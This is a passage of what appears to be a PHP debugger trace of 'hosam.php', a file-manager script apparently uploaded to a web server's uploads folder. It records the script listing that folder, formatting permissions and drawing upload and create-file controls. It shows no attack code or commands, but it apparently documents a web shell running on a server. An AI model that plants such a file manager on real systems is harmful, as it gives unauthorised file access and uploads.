'/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]	1	1	'filename'
7	168	1	0.009316	786128
6	165	1	0.009327	786128
6	169	0	0.009335	786128	quicksort	1		/var/www/html/uploads/hosam.php	860	4	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]	3	4	'filename'
7	170	0	0.009401	786128	floor	0		/var/www/html/uploads/hosam.php	836	1	3.5
7	170	1	0.009414	786160
7	170	R			3
6		A						/var/www/html/uploads/hosam.php	836	$cmp = 'hosam.php'
6		A						/var/www/html/uploads/hosam.php	838	$l = 3
6		A						/var/www/html/uploads/hosam.php	839	$r = 4
6		A						/var/www/html/uploads/hosam.php	848	$tmp = ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
6		A						/var/www/html/uploads/hosam.php	849	$array[3] = ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
6		A						/var/www/html/uploads/hosam.php	850	$array[4] = ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes']
6		A						/var/www/html/uploads/hosam.php	852	$l++
6		A						/var/www/html/uploads/hosam.php	853	$r--
7	171	0	0.009553	786128	quicksort	1		/var/www/html/uploads/hosam.php	859	4	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]	3	3	'filename'
7	171	1	0.009622	786128
7	172	0	0.009629	786128	quicksort	1		/var/www/html/uploads/hosam.php	860	4	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]	4	4	'filename'
7	172	1	0.009696	786128
6	169	1	0.009704	786128
5	163	1	0.009710	786128
5	173	0	0.009717	786128	quicksort	1		/var/www/html/uploads/hosam.php	860	4	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]	5	5	'filename'
5	173	1	0.009783	786128
4	161	1	0.009790	786128
3	159	1	0.009797	786128
3	174	0	0.009805	786128	directory_choice	1		/var/www/html/uploads/hosam.php	1103	0
4	175	0	0.009820	786272	urlencode	0		/var/www/html/uploads/hosam.php	1332	1	'/var/www/html/uploads/'
4	175	1	0.009835	786368
4	175	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2F'
4	176	0	0.009851	786304	word	1		/var/www/html/uploads/hosam.php	1332	1	'directory'
5	177	0	0.009865	786328	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'Directory'	2	'ISO-8859-1'
5	177	1	0.009881	786600
5	177	R			'Directory'
4	176	1	0.009896	786488
4	176	R			'Directory'
4	178	0	0.009910	786392	textfieldsize	1		/var/www/html/uploads/hosam.php	1333	1	'/var/www/html/uploads/'
4		A						/var/www/html/uploads/hosam.php	1469	$size = 27
4		A						/var/www/html/uploads/hosam.php	1470	$size = 30
4	178	1	0.009944	786392
4	178	R			30
4	179	0	0.009958	786392	html	1		/var/www/html/uploads/hosam.php	1333	1	'/var/www/html/uploads/'
5	180	0	0.009971	786392	htmlentities	0		/var/www/html/uploads/hosam.php	1488	3	'/var/www/html/uploads/'	2	'ISO-8859-1'
5	180	1	0.009986	786664
5	180	R			'/var/www/html/uploads/'
4	179	1	0.010001	786552
4	179	R			'/var/www/html/uploads/'
4	181	0	0.010016	786520	word	1		/var/www/html/uploads/hosam.php	1334	1	'change'
5	182	0	0.010029	786520	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'change'	2	'ISO-8859-1'
5	182	1	0.010046	786792
5	182	R			'change'
4	181	1	0.010060	786680
4	181	R			'change'
3	174	1	0.010075	786200
3	183	0	0.010083	786200	is_writable	0		/var/www/html/uploads/hosam.php	1110	1	'/var/www/html/uploads/'
3	183	1	0.010100	786240
3	183	R			TRUE
3	184	0	0.010113	786200	upload_box	1		/var/www/html/uploads/hosam.php	1111	0
4	185	0	0.010126	786264	word	1		/var/www/html/uploads/hosam.php	1346	1	'file'
5	186	0	0.010139	786264	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'File'	2	'ISO-8859-1'
5	186	1	0.010153	786536
5	186	R			'File'
4	185	1	0.010166	786424
4	185	R			'File'
4	187	0	0.010179	786392	word	1		/var/www/html/uploads/hosam.php	1348	1	'upload'
5	188	0	0.010192	786392	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'upload'	2	'ISO-8859-1'
5	188	1	0.010206	786664
5	188	R			'upload'
4	187	1	0.010220	786552
4	187	R			'upload'
3	184	1	0.010234	786200
3	189	0	0.010241	786200	create_box	1		/var/www/html/uploads/hosam.php	1112	0
4	190	0	0.010253	786360	word	1		/var/www/html/uploads/hosam.php	1361	1	'file'
5	191	0	0.010265	786360	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'File'	2	'ISO-8859-1'
5	191	1	0.010280	786632
5	191	R			'File'
4	190	1	0.010293	786520
4	190	R			'File'
4	192	0	0.010306	786424	word	1		/var/www/html/uploads/hosam.php	1362	1	'directory'
5	193	0	0.010319	786424	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'Directory'	2	'ISO-8859-1'
5	193	1	0.010339	786696
5	193	R			'Directory'
4	192	1	0.010357	786584
4	192	R			'Directory'
4	194	0	0.010371	786584	word	1		/var/www/html/uploads/hosam.php	1365	1	'create'
5	195	0	0.010384	786584	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'create'	2	'ISO-8859-1'
5	195	1	0.010398	786856
5	195	R			'create'
4	194	1	0.010412	786744
4	194	R			'create'
3	189	1	0.010425	786200
3	196	0	0.010432	786200	listing	1		/var/www/html/uploads/hosam.php	1118	1	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]
4	197	0	0.010504	786200	urlencode	0		/var/www/html/uploads/hosam.php	1140	1	'/var/www/html/uploads/'
4	197	1	0.010518	786296
4	197	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2F'
3		A						/var/www/html/uploads/hosam.php	1140	$d = 'dir=%2Fvar%2Fwww%2Fhtml%2Fuploads%2F&amp;'
3		A						/var/www/html/uploads/hosam.php	1142	$r = '&amp;reverse=true'
4	198	0	0.010558	786440	word	1		/var/www/html/uploads/hosam.php	1143	1	'filename'
5	199	0	0.010571	786440	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'Filename'	2	'ISO-8859-1'
5	199	1	0.010585	786712
5	199	R			'Filename'
4	198	1	0.010599	786600
4	198	R			'Filename'
3		A						/var/www/html/uploads/hosam.php	1145	$r = ''
4	200	0	0.010624	786408	word	1		/var/www/html/uploads/hosam.php	1146	1	'size'
5	201	0	0.010636	786408	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'Size'	2	'ISO-8859-1'
5	201	1	0.010651	786680
5	201	R			'Size'
4	200	1	0.010664	786568
4	200	R			'Size'
3		A						/var/www/html/uploads/hosam.php	1150	$r = ''
4	202	0	0.010711	786552	word	1		/var/www/html/uploads/hosam.php	1151	1	'permission'
5	203	0	0.010724	786552	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'Permission'	2	'ISO-8859-1'
5	203	1	0.010738	786824
5	203	R			'Permission'
4	202	1	0.010752	786712
4	202	R			'Permission'
3		A						/var/www/html/uploads/hosam.php	1153	$r = ''
4	204	0	0.010777	786520	word	1		/var/www/html/uploads/hosam.php	1154	1	'owner'
5	205	0	0.010789	786520	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'Owner'	2	'ISO-8859-1'
5	205	1	0.010803	786792
5	205	R			'Owner'
4	204	1	0.010816	786680
4	204	R			'Owner'
3		A						/var/www/html/uploads/hosam.php	1156	$r = ''
4	206	0	0.010844	786520	word	1		/var/www/html/uploads/hosam.php	1157	1	'group'
5	207	0	0.010857	786520	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'Group'	2	'ISO-8859-1'
5	207	1	0.010871	786792
5	207	R			'Group'
4	206	1	0.010885	786680
4	206	R			'Group'
4	208	0	0.010898	786392	word	1		/var/www/html/uploads/hosam.php	1161	1	'functions'
5	209	0	0.010911	786392	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'Functions'	2	'ISO-8859-1'
5	209	1	0.010925	786664
5	209	R			'Functions'
4	208	1	0.010939	786552
4	208	R			'Functions'
3		A						/var/www/html/uploads/hosam.php	1165	$i = 0
4	210	0	0.010964	786392	sizeof	0		/var/www/html/uploads/hosam.php	1165	1	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]
4	210	1	0.011034	786424
4	210	R			6
3		A						/var/www/html/uploads/hosam.php	1166	$file = ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	211	0	0.011074	786392	date	0		/var/www/html/uploads/hosam.php	1168	2	'n/j/y H:i:s'	1676254317
4	211	1	0.011142	788784
4	211	R			'2/12/23 21:11:57'
3		A						/var/www/html/uploads/hosam.php	1168	$timestamps = 'mtime: 2/12/23 21:11:57, '
4	212	0	0.011172	788512	date	0		/var/www/html/uploads/hosam.php	1169	2	'n/j/y H:i:s'	1676254317
4	212	1	0.011203	788840
4	212	R			'2/12/23 21:11:57'
3		A						/var/www/html/uploads/hosam.php	1169	$timestamps .= 'atime: 2/12/23 21:11:57, '
4	213	0	0.011230	788536	date	0		/var/www/html/uploads/hosam.php	1170	2	'n/j/y H:i:s'	1676254317
4	213	1	0.011260	788864
4	213	R			'2/12/23 21:11:57'
3		A						/var/www/html/uploads/hosam.php	1170	$timestamps .= 'ctime: 2/12/23 21:11:57'
4	214	0	0.011286	788760	html	1		/var/www/html/uploads/hosam.php	1174	1	'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
5	215	0	0.011300	788760	htmlentities	0		/var/www/html/uploads/hosam.php	1488	3	'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'	2	'ISO-8859-1'
5	215	1	0.011317	789064
5	215	R			'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
4	214	1	0.011333	788952
4	214	R			'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
4	216	0	0.011350	788616	urlencode	0		/var/www/html/uploads/hosam.php	1197	1	'/var/www/html/uploads/.'
4	216	1	0.011364	788712
4	216	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2F.'
4	217	0	0.011380	788664	html	1		/var/www/html/uploads/hosam.php	1197	1	'.'
5	218	0	0.011392	788664	htmlentities	0		/var/www/html/uploads/hosam.php	1488	3	'.'	2	'ISO-8859-1'
5	218	1	0.011406	788936
5	218	R			'.'
4	217	1	0.011420	788824
4	217	R			'.'
4	219	0	0.011434	788568	human_filesize	1		/var/www/html/uploads/hosam.php	1220	1	4096
4		A						/var/www/html/uploads/hosam.php	1056	$suffices = 'kMGTPE'
4		A						/var/www/html/uploads/hosam.php	1058	$n = 0
4		A						/var/www/html/uploads/hosam.php	1060	$filesize /= 1024
4		A						/var/www/html/uploads/hosam.php	1061	$n++
5	220	0	0.011487	788568	strpos	0		/var/www/html/uploads/hosam.php	1064	2	4	'.'
5	220	1	0.011500	788640
5	220	R			FALSE
5	221	0	0.011513	788568	round	0		/var/www/html/uploads/hosam.php	1064	2	4	3
5	221	1	0.011525	788640
5	221	R			4
4		A						/var/www/html/uploads/hosam.php	1064	$filesize = 4
5	222	0	0.011549	788568	strpos	0		/var/www/html/uploads/hosam.php	1066	2	4	'.'
5	222	1	0.011562	788896
5	222	R			FALSE
5	223	0	0.011575	788568	substr	0		/var/www/html/uploads/hosam.php	1072	3	'kMGTPE'	0	1
5	223	1	0.011588	788664
5	223	R			'k'
4		A						/var/www/html/uploads/hosam.php	1072	$suffix = 'k'
4	219	1	0.011612	788600
4	219	R			'4 kB'
3		A						/var/www/html/uploads/hosam.php	1220	$human = ' title="4 kB"'
4	224	0	0.011638	788608	decoct	0		/var/www/html/uploads/hosam.php	1229	1	16895
4	224	1	0.011654	788680
4	224	R			'40777'
4	225	0	0.011668	788608	function_exists	0		/var/www/html/uploads/hosam.php	1231	1	'posix_getuid'
4	225	1	0.011681	788648
4	225	R			TRUE
4	226	0	0.011694	788608	posix_getuid	0		/var/www/html/uploads/hosam.php	1231	0
4	226	1	0.011706	788608
4	226	R			33
3		A						/var/www/html/uploads/hosam.php	1231	$l = FALSE
4	227	0	0.011729	788608	permission_octal2string	1		/var/www/html/uploads/hosam.php	1233	1	16895
4		A						/var/www/html/uploads/hosam.php	877	$type = 'd'
4		A						/var/www/html/uploads/hosam.php	886	$owner = 'r'
4		A						/var/www/html/uploads/hosam.php	887	$owner .= 'w'
4		A						/var/www/html/uploads/hosam.php	891	$owner .= 'x'
4		A						/var/www/html/uploads/hosam.php	894	$group = 'r'
4		A						/var/www/html/uploads/hosam.php	895	$group .= 'w'
4		A						/var/www/html/uploads/hosam.php	899	$group .= 'x'
4		A						/var/www/html/uploads/hosam.php	902	$other = 'r'
4		A						/var/www/html/uploads/hosam.php	903	$other .= 'w'
4		A						/var/www/html/uploads/hosam.php	907	$other .= 'x'
